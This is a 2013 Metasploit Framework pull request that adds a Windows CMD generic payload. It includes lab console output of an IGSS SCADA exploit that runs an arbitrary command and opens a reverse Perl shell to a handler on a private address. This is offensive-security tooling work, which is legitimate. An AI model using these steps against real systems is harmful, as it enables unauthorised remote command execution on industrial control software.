rapid7/metasploit-framework — pull request #2539 by jvazquez-r7 (2013-10-17 19:14:33+00:00)
Title: Support Windows CMD generic payload

This module adds Windows CMD generic payload (which mimics the unix one).

With cmd generic payload should be easier avoid auxiliary modules or exploits with a CMD datastore option to just execute a command.

If there is the ability to execute commands the way to proceed is normally with an exploit, executing a payload, and doing the specific analysis of payload length available and badchars.

In order to test the windows cmd payload I've converted the auxiliary module auxiliary/admin/scada/igss_exec_17 to an ARCH_CMD exploit. In this way windows cmd payloads, which fulfill the payload requirements, can be sued. In the next example both the cmd/windows/generic and cmd/windows/reverse_perl payloads are used:

```
msf exploit(igss_exec_17) > set payload cmd/windows/generic
payload => cmd/windows/generic
msf exploit(igss_exec_17) > set CMD echo "pwned" > c:\\\\pwned.txt
CMD => echo pwned > c:\\pwned.txt
msf exploit(igss_exec_17) > rexploit
[*] Reloading module...

[*] Sending exploit packet...
msf exploit(igss_exec_17) > set payload cmd/windows/reverse_perl
payload => cmd/windows/reverse_perl
msf exploit(igss_exec_17) > rexploit
[*] Reloading module...

[*] Started reverse handler on 192.168.172.1:4444
[*] Sending exploit packet...
[*] Command shell session 3 opened (192.168.172.1:4444 -> 192.168.172.244:1293) at 2013-10-17 13:52:03 -0500

type c:\\pwned.txt
pwned
^C
Abort session 3? [y/N] y

[*] 192.168.172.244 - Command shell session 3 closed. Reason: User exit
msf exploit(igss_exec_17) >

```

This pull request also should help to #2536, which is another exploit including CMD as datastore option to avoid the payload.

Feedback here is super welcome.